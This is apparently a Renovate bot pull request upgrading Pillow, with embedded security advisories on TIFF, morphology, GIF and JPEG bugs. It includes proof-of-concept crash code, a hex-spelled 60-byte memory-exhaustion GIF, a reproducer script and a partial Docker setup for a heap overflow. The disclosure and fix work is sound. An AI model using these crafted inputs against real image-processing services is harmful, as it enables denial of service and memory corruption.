renovate-bot opened a new pull request, #9065:
URL: https://github.com/apache/texera/pull/9065

   > [!NOTE]
   > This PR body was truncated due to platform limits.
   
   This PR contains the following updates:
   
   | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | 
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
   |---|---|---|---|
   | [pillow](https://redirect.github.com/python-pillow/Pillow) 
([changelog](https://redirect.github.com/python-pillow/Pillow/releases)) | 
`==12.3.0` → `==13.0.0` | 
![age](https://developer.mend.io/api/mc/badges/age/pypi/pillow/13.0.0?slim=true)
 | 
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/pillow/12.3.0/13.0.0?slim=true)
 |
   
   ---
   
   ### Pillow tiled-TIFF decoder reads past tile buffer in copy4 (Unpack.c:1290)
   [CVE-2026-112395](https://nvd.nist.gov/vuln/detail/CVE-2026-112395) / 
[GHSA-462x-pgg6-55fp](https://redirect.github.com/advisories/GHSA-462x-pgg6-55fp)
   
   <details>
   <summary>More information</summary>
   
   #### Details
   ##### Summary
   
   Pillow's libImaging `_decodeTile` decoder, used to decode tiled TIFF images, 
allocates a per-tile buffer using `realloc(state->buffer, TIFFTileSize(tiff))`. 
After each `TIFFReadTile` it then iterates `tile_y` from 0 up to 
`current_tile_length` and calls the configured row unpacker (here `copy4`) with 
the source pointer `state->buffer + tile_y * row_byte_size`. When libtiff 
returns a `tile_bytes_size` smaller than the worst-case `row_byte_size * 
tile_length`, the inner stride-and-copy loop walks past the realloc'd region 
and `copy4` performs a 1024-byte `memcpy` that reads up to `(tile_length-1) * 
row_byte_size + row_byte_size` bytes from a buffer sized only to 
`tile_bytes_size`. The supplied PoC TIFF triggers a 1024-byte over-read exactly 
0 bytes past a 196608-byte allocation. An attacker who can convince a 
Pillow-using application to decode a crafted TIFF can trigger a process crash 
(DoS) and may cause adjacent heap memory to be copied into the decoded pixel 
buffer.
   
   ##### Details
   
   Pillow's TIFF decoder, when libtiff reports the file is tiled, takes the 
`_decodeTile` path. The function:
   
   1. Asks libtiff for `TIFFTileSize(tiff)` (the bytes-per-tile) and 
`TIFFTileRowSize(tiff)` (the bytes per row *as stored by libtiff*).
   2. Reallocates `state->buffer` to exactly `tile_bytes_size`.
   3. For each tile origin `(x, y)` and each plane, calls `TIFFReadTile` into 
`state->buffer`, then walks the tile row by row, calling the configured 
`ImagingShuffler` (here `copy4`) on each row's worth of source bytes.
   
   The validation done before the loop is:
   
   ```c
   if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * 
tile_width) {
       state->errcode = IMAGING_CODEC_BROKEN;
       return -1;
   }
   ```
   
   This rejects oversized libtiff tiles, but it does **not** reject 
*undersized* ones — i.e. the case where libtiff returns a `tile_bytes_size` 
strictly **less** than `row_byte_size * tile_length`. The loop body, however, 
indexes into the buffer assuming the buffer is at least `row_byte_size * 
tile_length` bytes long.
   
   ##### Vulnerable Code
   
   ```c
   // src/libImaging/TiffDecode.c:446-490 — _decodeTile
   new_data = realloc(state->buffer, state->bytes);   // bytes = tile_bytes_size
   if (!new_data) { ... }
   state->buffer = new_data;
   
   for (y = state->yoff; y < state->ysize; y += tile_length) {
       for (plane = 0; plane < planes; plane++) {
           ImagingShuffler shuffler = unpackers[plane];
           for (x = state->xoff; x < state->xsize; x += tile_width) {
               if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) 
== -1) { ... }
   
               current_tile_width  = min((INT32)tile_width,  state->xsize - x);
               current_tile_length = min((INT32)tile_length, state->ysize - y);
               for (tile_y = 0; tile_y < current_tile_length; tile_y++) {
                   shuffler(
                       (UINT8 *)im->image[tile_y + y] + x * im->pixelsize,
                       state->buffer + tile_y * row_byte_size,   // <-- OOB 
stride
                       current_tile_width
                   );
               }
           }
       }
   }
   ```
   
   ```c
   // src/libImaging/Unpack.c:1288-1291 — copy4 (the crash site)
   static void
   copy4(UINT8 *out, const UINT8 *in, int pixels) {
       /* RGBA, CMYK quadruples */
       memcpy(out, in, 4 * pixels);   // <-- ASAN-detected READ here
   }
   ```
   
   The PoC's tile metadata yields `tile_width = tile_length = 256`, 
`row_byte_size = 1024` (4 bytes/pixel × 256 pixels), and `tile_bytes_size = 
196608` (which is 256·256·3 = three-channel-byte storage). The realloc'd buffer 
is 196608 bytes. The unpacker iterates `tile_y` from 0 to 255 and for the 
highest rows the source pointer `state->buffer + tile_y * 1024` already lies at 
or past offset 196608 — the very last row's `memcpy(in=buffer+255·1024, 1024)` 
reads 1024 bytes starting `260096 - 196608 = 63488` bytes past the allocation; 
ASAN flags the very first byte past the heap region (`READ of size 1024 at … 0 
bytes after 196608-byte region`).
   
   The mismatch is real: libtiff's `TIFFTileSize` returns the *packed* per-tile 
storage (which depends on the file's photometric/separation layout — it can 
legitimately be smaller than `row_byte_size × tile_length`), while the inner 
loop strides as if the buffer always equals `row_byte_size × tile_length`.
   
   ##### Attribution
   
   This issue was found by Anthropic from using Claude to study security of 
open source projects, and I am from Ada Logics helping validate the found 
issues and report to maintainers. The data in this report has been reviewed 
manually.
   
   #### Severity
   - CVSS Score: 6.5 / 10 (Medium)
   - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L`
   
   #### References
   - 
[https://github.com/python-pillow/Pillow/security/advisories/GHSA-462x-pgg6-55fp](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-462x-pgg6-55fp)
   - 
[https://nvd.nist.gov/vuln/detail/CVE-2026-112395](https://nvd.nist.gov/vuln/detail/CVE-2026-112395)
   - 
[https://github.com/python-pillow/Pillow/commit/76869efdbbf2ad7dccd7536520fb61b7a00ab61e](https://redirect.github.com/python-pillow/Pillow/commit/76869efdbbf2ad7dccd7536520fb61b7a00ab61e)
   - 
[https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
   - 
[https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://redirect.github.com/python-pillow/Pillow/releases/tag/13.0.0)
   
   This data is provided by 
[OSV](https://osv.dev/vulnerability/GHSA-462x-pgg6-55fp) and the [GitHub 
Advisory Database](https://redirect.github.com/github/advisory-database) 
([CC-BY 
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
   </details>
   
   ---
   
   ### Pillow: Out-of-bounds access in _imagingmorph on a zero-width image
   [CVE-2026-112397](https://nvd.nist.gov/vuln/detail/CVE-2026-112397) / 
[GHSA-58r4-6rv3-gfh8](https://redirect.github.com/advisories/GHSA-58r4-6rv3-gfh8)
   
   <details>
   <summary>More information</summary>
   
   #### Details
   ##### Summary
   A PPM or PGM file can declare a width of 0, which Pillow accepts, producing 
an image of size `(0, N)`. Passing that image to `ImageMorph.MorphOp.apply()` 
makes the native morphology code index a row buffer at `outrow[width - 1]`, 
which is `outrow[-1]` when the width is 0. The process crashes.
   
   ##### Details
   The PPM parser reads width and height with no lower-bound check:
   
   - `src/PIL/PpmImagePlugin.py:119`
   
   The native `apply()` writes the row edges with no guard that the width is 
positive:
   
   - `src/_imagingmorph.c:81` sets `outrow[0] = outrow[width - 1] = 0;`
   
   `match()` and `get_on_pixels()` use the same edge-indexing pattern.
   
   ##### PoC
   ```python
   from PIL import Image, ImageMorph
   
   ##### A width-0 image (also producible from a crafted PPM header). apply() 
indexes
   
   ##### outrow[width - 1] == outrow[-1] in native code.
   im = Image.new("L", (0, 5))
   ImageMorph.MorphOp(op_name="dilation4").apply(im)
   ```
   
   Run it:
   ```
   $ python 03_poc.py
   Segmentation fault (core dumped)
   ```
   
   Observed on a source build of commit `3e2ab96`.
   
   Under AddressSanitizer:
   ```
   ==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)
       #&#8203;0 apply   src/_imagingmorph.c:81
   SUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply
   ```
   With width 0 the `outrow[width - 1]` write lands on an unmapped page, so it 
surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.
   
   ##### Impact
   Out-of-bounds write in a C extension. Affects any application that runs a 
morphology operation on an image opened from untrusted input. Result is a crash 
and possible memory corruption.
   
   #### Severity
   - CVSS Score: 8.7 / 10 (High)
   - Vector String: 
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
   
   #### References
   - 
[https://github.com/python-pillow/Pillow/security/advisories/GHSA-58r4-6rv3-gfh8](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-58r4-6rv3-gfh8)
   - 
[https://nvd.nist.gov/vuln/detail/CVE-2026-112397](https://nvd.nist.gov/vuln/detail/CVE-2026-112397)
   - 
[https://github.com/python-pillow/Pillow/commit/18f7c0dfee93063c51db6ed0ca8c4da2999dcb64](https://redirect.github.com/python-pillow/Pillow/commit/18f7c0dfee93063c51db6ed0ca8c4da2999dcb64)
   - 
[https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
   - 
[https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://redirect.github.com/python-pillow/Pillow/releases/tag/13.0.0)
   
   This data is provided by 
[OSV](https://osv.dev/vulnerability/GHSA-58r4-6rv3-gfh8) and the [GitHub 
Advisory Database](https://redirect.github.com/github/advisory-database) 
([CC-BY 
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
   </details>
   
   ---
   
   ### Pillow: GIF seek keeps rejected size after DecompressionBombError, 
allowing DoS
   [CVE-2026-112400](https://nvd.nist.gov/vuln/detail/CVE-2026-112400) / 
[GHSA-65qm-jvmh-6pqg](https://redirect.github.com/advisories/GHSA-65qm-jvmh-6pqg)
   
   <details>
   <summary>More information</summary>
   
   #### Details
   ```
   ============================================================================
   GIF seek keeps rejected size after DecompressionBombError, allowing DoS
   Location: src/PIL/GifImagePlugin.py:293  in GifImageFile._seek()
   Commit:   a707c6b21c313880d0771e54965d142dd42358b6
   ============================================================================
   ```
   
   A GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This 
affects applications that catch the "image too large" error raised while 
stepping to a later animation frame and then keep using the same image object. 
Pillow correctly refuses the oversized frame, but it stores the refused 
dimensions on the image object anyway, and later operations size their memory 
from them. An attacker who can upload a GIF to such a service can exhaust its 
memory: the process either fails with an out-of-memory error after committing 
gigabytes, or is killed by the operating system. There is no memory corruption.
   
   The bug is in `GifImageFile._seek()` (`src/PIL/GifImagePlugin.py:292-294`). 
When a frame's extent enlarges the image, the code assigns the new size to 
`self._size` and only then calls `Image._decompression_bomb_check()`. Nothing 
restores the old size when `DecompressionBombError` is raised, because `seek()` 
only rolls back on `EOFError`. After the caught error, `im.size` reports the 
rejected size while the pixel buffer `im.im` is still the 1×1 first frame. 
Because the extent is a 16-bit offset plus a 16-bit size, that rejected size 
can be as large as 131070×131070.
   
   In the attached reproducer, the rejected size is 40000×40000. A retried 
`seek(1)` followed by `load()` then reaches `load_prepare()`, which calls 
`Image.core.fill()` with that size to decode a single pixel. Peak memory rises 
from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next 
allocation. `Image.new("RGB", im.size, ...)` and `rotate(..., expand=True)` 
also allocate from the stale size.
   
   The default paths are unaffected: plain `Image.open()` plus `load()`, 
`ImageSequence.Iterator`, and `n_frames`/`is_animated`. The ordering was 
introduced in c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30, 
first released in 9.2.0), the check added for CVE-2022-45198. The two 
dispose-extent checks later in the same function already validate before using 
the size, and the attached patch makes this check follow the same order.
   
   ##### Details
   
   `GifImageFile._seek()` lets a later frame enlarge the image, and performs the
   decompression-bomb check for the new size only *after* storing it on the 
object:
   
   ```python
   
   ##### src/PIL/GifImagePlugin.py:289-294  (GifImageFile._seek)
   x0, y0 = i16(s, 0), i16(s, 2)
   x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
   if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
       self._size = max(x1, self.size[0]), max(y1, self.size[1])   # state 
mutated
       Image._decompression_bomb_check(self._size)                 # ...then 
validated
   ```
   
   `_decompression_bomb_check()` (`src/PIL/Image.py:3586`) raises
   `DecompressionBombError` for anything above `2 * MAX_IMAGE_PIXELS`
   (178 956 970 px by default), but by then `self._size` already holds the 
rejected
   value and nothing restores it: `seek()` (`GifImagePlugin.py:166-179`) only 
rolls
   back on `EOFError`, and `_seek(0)` only ever grows `_size`. The object that 
the
   application still holds therefore reports `im.size == (40000, 40000)` while
   `im.im` is the 1×1 buffer of frame 0. Compare the two dispose-extent checks a
   few lines further down in the same function (`GifImagePlugin.py:383` and 
`:407`),
   which call `_decompression_bomb_check(dispose_size)` *before* the 
corresponding
   `Image.core.fill()`, and `TiffImagePlugin.load_prepare()`
   (`src/PIL/TiffImagePlugin.py:1319-1321`), which checks `_tile_size` before
   allocating from it.
   
   With this 60-byte GIF (hex)
   
   ```
   47494638396101000100800000000000ffffff          GIF89a, 1x1 screen, 2-entry 
global palette
   2c000000000100010000 02 024401 00               frame 0: 1x1 @ (0,0), LZW 
data
   2c00000000409c409c00                            frame 1 descriptor: 
40000x40000 @ (0,0)
   2c000000000100010000 02 024401 00               another 1x1 frame
   3b                                              trailer
   ```
   
   `Image.open()` succeeds (`im.size == (1, 1)`), `im.seek(1)` raises
   `DecompressionBombError: Image size (1600000000 pixels) exceeds limit of
   178956970 pixels`, and afterwards `im.size == (40000, 40000)`,
   `im.im.size == (1, 1)`, `im.tell() == 0`.
   
   What happens next depends on what the application does with the object, but
   several ordinary operations take their dimensions from `im.size` rather than
   from the C buffer:
   
   - Retrying `im.seek(1)`. The failed `_seek` left `self.__offset == 0` and the
     file pointer just past the 9-byte descriptor, so the retry parses whatever
     follows — in the file above, a valid 1×1 frame — and succeeds. `im.load()`
     then runs `GifImageFile.load_prepare()`:
     ```python
     # src/PIL/GifImagePlugin.py:452-456
     elif self.mode in ("RGB", "RGBA"):
         self._prev_im = self.im
         if self._frame_palette:
             self.im = Image.core.fill("P", self.size, self._frame_transparency 
or 0)
     ```
     which allocates and `memset`s a 40000×40000 "P" image (1.6 GB) to decode a
     1×1 tile into, and `load_end()` (`GifImagePlugin.py:485-491`) fills a 
second
     one and converts it to RGB (another 1.6 GB + 6.4 GB).
   - `im.rotate(angle, expand=True)` for a non-multiple-of-90 angle, or the
     common flatten-onto-background idiom `Image.new("RGB", im.size, bg)`, 
allocate
     from `im.size` as well (measured on an object poisoned to 20000×20000:
     `rotate(45, expand=True)` completes and touches 776 MiB;
     `Image.new("RGB", im.size, "white")` touches 1.5 GiB). Operations that pass
     `im.size` as a box against the real buffer (`thumbnail`, `resize`, `save`)
     fail with `ValueError`/`SystemError` instead.
   
   The extent fields are 16-bit offset plus 16-bit size, so the stored size can 
be
   pushed to 131070×131070 (17.2 Gpx; 17 GB for mode "P", 69 GB for "RGB"/"RGBA"
   storage), 96× the error threshold.
   
   `n_frames` / `is_animated` are not affected: they call
   `_seek(frame, update_image=False)`, which skips the `_size` assignment (the 
file
   above reports `n_frames == 2`, `is_animated == True` and leaves `im.size` at
   1×1).
   
   ##### Impact
   
   A remote user who can upload a GIF to a service that (a) seeks animation 
frames
   and (b) catches the exception from `seek()` — a broad `except Exception` 
around
   a `while True: im.seek(im.tell()+1)` frame-collection loop, or an explicit
   `except DecompressionBombError: log and continue` — and then keeps using the
   same `Image` object, ends up driving allocations of 1.6 GB to tens of GB 
from a
   60-byte file: `MemoryError` after the process has committed gigabytes, or an
   OOM kill of the worker when no address-space limit is set. The
   `MAX_IMAGE_PIXELS` guard fires, but does not actually keep the rejected
   dimensions out of the object it is guarding.
   
   The precondition is real application behaviour but not the default path:
   `Image.open(); im.load()` is unaffected, and `ImageSequence.Iterator` 
propagates
   the error out of the `for` statement (a `try` inside the loop body does not
   swallow it). Hence low severity. This is adjacent to the GIF extent bomb 
check
   added for CVE-2022-45198: the ordering was introduced with that check in
   `c9f1b35e9810` ("Added GIF decompression bomb check", 2022-06-30), first
   released in Pillow 9.2.0. Before it, the same size growth happened with no
   check at all; the check introduced there is the one that runs too late.
   
   ##### Reproducing
   
   `repro` is a single Python script run against the installed Pillow. It needs
   about 1.7 GB of free RAM.
   
   1. **`setup_env()`** caps the process address space at 3 GiB with
      `RLIMIT_AS`, so the oversized allocations end in `MemoryError` instead of
      the OOM killer. It then opens the 60-byte GIF shown above, built in memory
      by `bomb_gif()`. The GIF contains a 1×1 screen and a 1×1 frame 0, so
      `Image.open()` passes its own bomb check. Next comes a bare frame-1 image
      descriptor that declares 40000×40000 (1.6 Gpx, about 9× the error
      threshold). A real 1×1 frame follows it.
   2. **`poc()`** calls `im.seek(1)` and catches `DecompressionBombError`, the 
way
      an application that skips bad frames would.
   3. **First check: the state is inconsistent.** The script prints `im.size` 
next
      to the real pixel buffer `im.im.size`. If the rejected frame had left the
      object unchanged, both would be `(1, 1)`. On the affected code `im.size` 
is
      `(40000, 40000)`.
   4. **Second check: memory use.** The script retries `im.seek(1)`, which now
      parses the trailing 1×1 frame, and calls `im.load()`. It prints the
      process's peak RSS before and after. `load_prepare()` sizes its
      `Image.core.fill()` from `im.size`, so loading a single pixel fills a
      1.6 GB buffer before the 3 GiB cap stops the next allocation.
   
   Expected output on the affected tree:
   
   ```
   open(): 60-byte GIF, size=(1, 1)
   seek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 
178956970 pixels, could be decompression bomb DOS attack.
   after the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 
1)
   seek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 
MiB -> 1700 MiB
   BUG
   ```
   
   The script prints `BUG` only if both checks hold: the over-limit size stayed
   on the object after the exception, and peak RSS grew by more than 1000 MiB
   while loading a 1×1 frame. Otherwise it prints `OK`. With the attached patch
   applied, it prints `im.size=(1, 1)`, peak RSS stays at about 23 MiB, and the
   last line is `OK`.
   
   ##### Suggested fix
   
   The attached patch validates before mutating in `GifImageFile._seek()`
   (`src/PIL/GifImagePlugin.py:292-294`): the enlarged extent is computed into a
   local, passed to `_decompression_bomb_check()`, and only then assigned to
   `self._size`, matching the order of the two `dispose_size` checks further 
down
   the same function. A rejected frame therefore leaves the object in its 
pre-seek
   state; valid files behave as before, and the exception is still raised at the
   same point:
   
   ```diff
   --- a/src/PIL/GifImagePlugin.py
   +++ b/src/PIL/GifImagePlugin.py
   @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
                    x0, y0 = i16(s, 0), i16(s, 2)
                    x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
                    if (x1 > self.size[0] or y1 > self.size[1]) and 
update_image:
   -                    self._size = max(x1, self.size[0]), max(y1, 
self.size[1])
   -                    Image._decompression_bomb_check(self._size)
   +                    size = max(x1, self.size[0]), max(y1, self.size[1])
   +                    Image._decompression_bomb_check(size)
   +                    self._size = size
                    frame_dispose_extent = x0, y0, x1, y1
                    flags = s[8]
   ```
   
   `n_frames` / `is_animated` go through `update_image=False` and are 
unaffected.
   The patch also extends `test_exception_gif_extents` in
   `Tests/test_decompression_bomb.py` to assert that `im.size` is unchanged 
after
   the `DecompressionBombError`. It does not change `seek()` itself; optionally,
   `seek()` could also treat `DecompressionBombError` like `EOFError` and 
re-seek
   to `last_frame`, so that a retried `seek()` does not resume parsing from the
   middle of the rejected frame.
   
   ##### The patch
   
   GIF: run the decompression bomb check on an enlarging frame's extent before 
storing it in self._size
   
   Applies to `src/PIL/GifImagePlugin.py` at the commit above.
   
   ```diff
   diff --git a/Tests/test_decompression_bomb.py 
b/Tests/test_decompression_bomb.py
   index 98d833736..83cc785fc 100644
   --- a/Tests/test_decompression_bomb.py
   +++ b/Tests/test_decompression_bomb.py
   @@ -63,6 +63,9 @@ class TestDecompressionBomb:
                with pytest.raises(Image.DecompressionBombError):
                    im.seek(1)
    
   +            # The rejected frame should not have changed the image size
   +            assert im.size == (100, 100)
   +
        def test_exception_gif_zero_width(self, monkeypatch: 
pytest.MonkeyPatch) -> None:
            # Set limit to trigger exception on the test file
            monkeypatch.setattr(Image, "MAX_IMAGE_PIXELS", 4 * 64 * 128)
   diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py
   index 11fb180fc..f9bda06c2 100644
   --- a/src/PIL/GifImagePlugin.py
   +++ b/src/PIL/GifImagePlugin.py
   @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
                    x0, y0 = i16(s, 0), i16(s, 2)
                    x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
                    if (x1 > self.size[0] or y1 > self.size[1]) and 
update_image:
   -                    self._size = max(x1, self.size[0]), max(y1, 
self.size[1])
   -                    Image._decompression_bomb_check(self._size)
   +                    size = max(x1, self.size[0]), max(y1, self.size[1])
   +                    Image._decompression_bomb_check(size)
   +                    self._size = size
                    frame_dispose_extent = x0, y0, x1, y1
                    flags = s[8]
   ```
   
   ##### The reproducer
   
   <details>
   <summary>Reproducer — <code>repro</code>, 2,474 bytes (click to 
open)</summary>
   
   Its last line is `BUG` when the issue triggers and `OK` when it does not. 
Re-run on a clean build of that commit it printed `BUG`.
   
   ```python
   
   #!/usr/bin/env python3
   ##### GifImageFile._seek() stores a frame's enlarged size in self._size and 
only
   
   ##### *then* runs the decompression-bomb check. The check raises, but the 
object
   ##### keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, 
and the
   
   ##### next load() allocates from that size: 1.6+ GB for a 60-byte GIF.
   import io
   import resource
   import struct
   
   from PIL import Image
   
   BOMB = 40000  # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError 
threshold
   LIMIT = 2 * Image.MAX_IMAGE_PIXELS
   
   def frame_1x1():
       # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream
       return b"," + struct.pack("<HHHHB", 0, 0, 1, 1, 0) + 
b"\x02\x02\x44\x01\x00"
   
   def bomb_gif():
       return (
           b"GIF89a" + struct.pack("<HHBBB", 1, 1, 0x80, 0, 0) + b"\x00" * 3 + 
b"\xff" * 3
           + frame_1x1()                                         # frame 0: 
1x1, passes open()
           + b"," + struct.pack("<HHHHB", 0, 0, BOMB, BOMB, 0)   # frame 1 
claims 40000x40000
           + frame_1x1()                                         # a real 1x1 
frame follows
           + b";"
       )
   
   def peak_rss_mib():
       return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024
   
   def setup_env():
       # Cap the address space so the oversized allocations end in MemoryError
       # instead of the OOM killer.
       resource.setrlimit(resource.RLIMIT_AS, (3 << 30, 3 << 30))
       data = bomb_gif()
       im = Image.open(io.BytesIO(data))
       print(f"open(): {len(data)}-byte GIF, size={im.size}")
       return im
   
   def poc(im):
       # An application skips the bomb frame and keeps going.
       try:
           im.seek(1)
       except Image.DecompressionBombError as e:
           print(f"seek(1) raised as intended: {e}")
           return True
       return False
   
   im = setup_env()
   raised = poc(im)
   
   ##### Expected: a rejected frame leaves the object as it was (size == buffer 
== 1x1).
   print(f"after the caught error: im.size={im.size}, pixel buffer 
im.im.size={im.im.size}")
   poisoned = raised and im.size[0] * im.size[1] > LIMIT and im.im.size == (1, 
1)
   
   ##### Effect: retrying the seek lands on the real 1x1 frame, but load() 
sizes its
   
   ##### buffers from the poisoned im.size.
   before = peak_rss_mib()
   im.seek(1)
   try:
       im.load()
       outcome = "completed"
   except MemoryError:
       outcome = "MemoryError at the 3 GiB cap"
   after = peak_rss_mib()
   print(f"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -> 
{after} MiB")
   ballooned = after - before > 1000
   
   print("BUG" if poisoned and ballooned else "OK")
   ```
   </details>
   
   ---
   
   #### Severity
   - CVSS Score: 8.7 / 10 (High)
   - Vector String: 
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
   
   #### References
   - 
[https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg)
   - 
[https://nvd.nist.gov/vuln/detail/CVE-2026-112400](https://nvd.nist.gov/vuln/detail/CVE-2026-112400)
   - 
[https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7](https://redirect.github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7)
   - 
[https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
   - 
[https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://redirect.github.com/python-pillow/Pillow/releases/tag/13.0.0)
   
   This data is provided by 
[OSV](https://osv.dev/vulnerability/GHSA-65qm-jvmh-6pqg) and the [GitHub 
Advisory Database](https://redirect.github.com/github/advisory-database) 
([CC-BY 
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
   </details>
   
   ---
   
   ### Pillow: Heap buffer overflow in ImagingJpegDecode
   [CVE-2026-112403](https://nvd.nist.gov/vuln/detail/CVE-2026-112403) / 
[GHSA-8g5g-8vmr-9782](https://redirect.github.com/advisories/GHSA-8g5g-8vmr-9782)
   
   <details>
   <summary>More information</summary>
   
   #### Details
   ##### Summary
   
   `JpegImageFile.draft()` — which `Image.thumbnail()` calls automatically — 
requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks `self._size` and the 
tile extents to match, so `_setimage()` allocates a single-row decode buffer of 
`ceil(W/s)` samples. `ImagingJpegDecode()` sets 
`cinfo.scale_num`/`scale_denom`, calls `jpeg_start_decompress()`, and then 
reads scanlines into that buffer without ever comparing `cinfo.output_width`, 
`cinfo.output_height` or `cinfo.out_color_components` against `state->xsize`, 
`state->ysize` and `state->bits`.
   
   libjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless 
streams to no scaling — the requested `scale_denom` is silently discarded. It 
therefore returns full-width `W`-sample rows into a buffer sized for 
`ceil(W/s)`. Each `jpeg_read_scanlines()` call writes `(W - ceil(W/s)) x 
components` bytes past the end of the heap allocation, and the overflowing 
bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale 
lossless image.
   
   The input is a standards-compliant JPEG, so `Image.open(..., 
formats=["JPEG"])` does not prevent it. Pillow's Python SOF parser already 
accepts marker `0xFFC3` ("SOF3", "Spatial lossless") at 8-bit precision, so the 
file opens normally as a `JPEG` / mode `L` image at its full declared size.
   
   ##### Affected code
   
   At `e41083f383c9cd3db95de52564cc0b6452313d4a` (`main`, 2026-08-29):
   
   - `src/libImaging/JpegDecode.c:224-262` — `ImagingJpegDecode()`; 
`jpeg_start_decompress()` at :240, `jpeg_read_scanlines()` at :252, with no 
geometry check between them.
   - `src/decode.c:222-231` — `_setimage()`; `state->buffer = calloc(1, 
state->bytes)` with `state->bytes = (state->bits * state->xsize + 7) / 8`.
   - `src/PIL/JpegImagePlugin.py:428-464` — `JpegImageFile.draft()`; computes 
`s` and shrinks `_size`, the tile extents and `decoderconfig` with no notion of 
lossless coding.
   - `src/PIL/JpegImagePlugin.py:271` — `0xFFC3: ("SOF3", "Spatial lossless", 
SOF)`.
   
   ```c
   // src/libImaging/JpegDecode.c
               if (context->scale > 1) {
                   context->cinfo.scale_num = 1;
                   context->cinfo.scale_denom = context->scale;
               }
               ...
           case 2:
               if (!jpeg_start_decompress(&context->cinfo)) {
                   break;
               }
               state->state++;
               /* fall through */
           case 3:
               ok = 1;
               while (state->y < state->ysize) {
                   ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);
   ```
   
   Because `state->ysize` (`ceil(H/s)`) can never equal libjpeg's 
`output_height` when `s >= 2`, the decode always ends in an error after the 
rows have already been written: the caller sees an exception and gets no pixels 
back. The `OSError` is a consequence of the overflow, not the issue being 
reported.
   
   ##### Primitive
   
   Per scanline: a contiguous write of `(W - ceil(W/s)) x c` bytes immediately 
past a `calloc(ceil(W/s) x c)` block, where `c = 1` for mode `L` and 4 for RGB 
(RGBX) and CMYK; repeated for `ceil(H/s)` rows over the same region. The buffer 
size class is chosen by the attacker through `W`, and for grayscale the 
overflowing content is an arbitrary attacker-chosen byte string.
   
   Measured in the reproducer below: 1200x1100 mode `L`, `s=2` — a 600-byte 
allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row 
write as one `memcpy`.
   
   Threshold: `draft()` must select `s >= 2`, i.e. `W // requested_w >= 2` and 
`H // requested_h >= 2`. For `thumbnail((256,256))` with the default 
`reducing_gap=2.0` that means `W, H >= 1024`.
   
   ##### Reproduction
   
   Self-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 
3.1.4 and Pillow both built from source with `-fsanitize=address`; Pillow 
checked out at `${TARGET_COMMIT}`, default 
`e41083f383c9cd3db95de52564cc0b6452313d4a`). Save the three files below as 
`Dockerfile`, `make_sof3.py` and `trigger.py` in an empty directory, then:
   
   ```bash
   docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob
   ```
   
   `make_sof3.py` is a self-contained encoder that emits a standards-compliant 
8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 `P=8, Y=1100, X=1200, 
Nf=1` / SOS `Ss=1` predictor 1, `Se=0`, `Ah=Al=0` / entropy-coded row 
differences / EOI), whose rows carry a repeating marker pattern. `trigger.py` 
opens it and calls `thumbnail()`, whose implicit `draft()` picks `s=2` and 
allocates a 600-byte row buffer.
   
   ##### `Dockerfile`
   
   ```dockerfile
   FROM ubuntu:24.04
   ENV DEBIAN_FRONTEND=noninteractive
   ARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a
   ARG CLANG_VERSION=20
   ARG LIBJPEG_TURBO_TAG=3.1.4
   
   RUN apt-get update && apt-get install -y --no-install-recommends \
           ca-certificates git make cmake nasm pkg-config libc6-dev gcc \
           wget gnupg lsb-release software-properties-common \
